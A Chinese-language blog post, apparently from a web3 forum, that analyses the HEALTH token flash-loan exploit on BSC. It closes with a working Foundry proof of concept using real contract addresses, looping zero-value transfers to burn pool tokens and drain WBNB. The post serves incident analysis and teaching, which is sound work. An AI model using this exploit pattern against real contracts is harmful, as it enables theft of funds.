HEALTH 事件分析

  • Archime
  • 更新于 2022-11-01 11:09
  • 阅读 4200

HEALTH 事件分析

1、HEALTH事件简介

https://twitter.com/BlockSecTeam/status/1583073442433495040

1.png

2、攻击分析

交易:https://phalcon.blocksec.com/tx/bsc/0xae8ca9dc8258ae32899fe641985739c3fa53ab1f603973ac74b424e165c66ccf

2.png

3、获利分析

3.png

4、攻击过程分析&漏洞成因

1、攻击合约先通过闪电贷获得资金 40000000000000000000 WBNB,然后通过PancakeRouter 交易所兑换 30565652268756555675523626 HEALTH ,此时的兑换比例 HEALTH / WBNB = 764,141.306718

4.png 2、直接查看攻击合约退场获利时的兑换比例,攻击合约兑换 30565652268756555675523626 HEALTH ,按照正常逻辑应该兑换出约40000000000000000000 WBNB ,但是实际上却兑换出 56641927146106351887 WBNB ,获利约为16641927146106351887;

5.png 3、查看攻击过程,发现反复调用 HEALTH. transfer ,最重要的是销毁了流动池大量的 Health 代币;

6.png 4、查看代码发现合约在调用 _transfer 时,如果满足条件 block.timestamp >= pairStartTime.add(jgTime) && pairStartTime != 0 将销毁流动池中的Health代币,这将会导致Health 兑 WBNB的价格升高。 https://bscscan.com/token/0x32b166e082993af6598a89397e82e123ca44e74e

7.png

5、进一步分析

根据调用函数和Cake-LP 代码可知这是一个uniswapV2的仿盘,代码中显式手续费为0.025,可根据以下代码分析出每次可兑换的代币数量:

// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.6.6;

import "https://github.com/Uniswap/v2-periphery/blob/master/contracts/libraries/SafeMath.sol";

contract test {

    using SafeMath for uint;

    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) {
        require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
        require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
        uint amountInWithFee = amountIn.mul(975);
        uint numerator = amountInWithFee.mul(reserveOut);
        uint denominator = reserveIn.mul(1000).add(amountInWithFee);
        amountOut = numerator / denominator;
    }
}

如攻击前 amountIn = 40000000000000000000 , reserveIn = 38502835300011026965 , reserveOut = 62563539073327292627431307 , 则amountOut = 31482435634963373485175702 价格操作后: amountIn = 30565652268756555675523626, reserveIn = 11279403258019691775577944, reserveOut = 78469544877252212536, 则amountOut = 56924512179034773317

6、漏洞复现

参考代码:https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/HEALTH_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @Analysis
// https://twitter.com/BlockSecTeam/status/1583073442433495040
// TX
// https://bscscan.com/tx/0xae8ca9dc8258ae32899fe641985739c3fa53ab1f603973ac74b424e165c66ccf

contract ContractTest is DSTest{
    IERC20 HEALTH = IERC20(0x32B166e082993Af6598a89397E82e123ca44e74E);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0xF375709DbdE84D800642168c2e8bA751368e8D32);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    address constant dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 22337425);
    }

    function testExploit() public{
        WBNB.approve(address(Router), type(uint).max);                       //WBNB、Health都是ERC20代币,攻击合约先授权,额度为最大值type(uint).max
        HEALTH.approve(address(Router), type(uint).max);
        DVM(dodo).flashLoan(200 * 1e18, 0, address(this), new bytes(1));     //调用 DPPAdvanced 获取闪电贷,因为第 3 个参数不为0,因此将会调用攻击合约的回调函数DPPFlashLoanCall,还款也将在回调函数完成
                                                                             //闪电贷将会通过公式  require(uint256(_BASE_RESERVE_).sub(baseBalance) <= receiveBaseAmount, "FLASH_LOAN_FAILED");  或
                                                                             //require(uint256(_QUOTE_RESERVE_).sub(quoteBalance) <= receiveQuoteAmount, "FLASH_LOAN_FAILED"); 判断借款人是否归还贷款和利息
                                                                             //否则将回滚交易

        emit log_named_decimal_uint(
            "[End] Attacker WBNB balance after exploit",
            WBNB.balanceOf(address(this)),
            18
        );
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external{      //攻击合约的回调函数,实现攻击逻辑,最后一步必须归还贷款,否则交易回滚

        WBNBToHEALTH();
        for(uint i = 0; i < 600; i++){
            HEALTH.transfer(address(this), 0);
        }
        HEALTHToWBNB();
        WBNB.transfer(dodo, 200 * 1e18);
    }

    function WBNBToHEALTH() internal {            //通过PancakeRouter查找交易路径[WBNB,HEALTH],并实现交易
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(HEALTH);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WBNB.balanceOf(address(this)),
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function HEALTHToWBNB() internal {         //通过PancakeRouter查找交易路径[WBNB,HEALTH],并实现交易
        address[] memory path = new address[](2);
        path[0] = address(HEALTH);
        path[1] = address(WBNB);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            HEALTH.balanceOf(address(this)),
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}
点赞 1
收藏 1
分享

0 条评论

请先 登录 后评论
Archime
Archime
0x96C4...508C
江湖只有他的大名,没有他的介绍。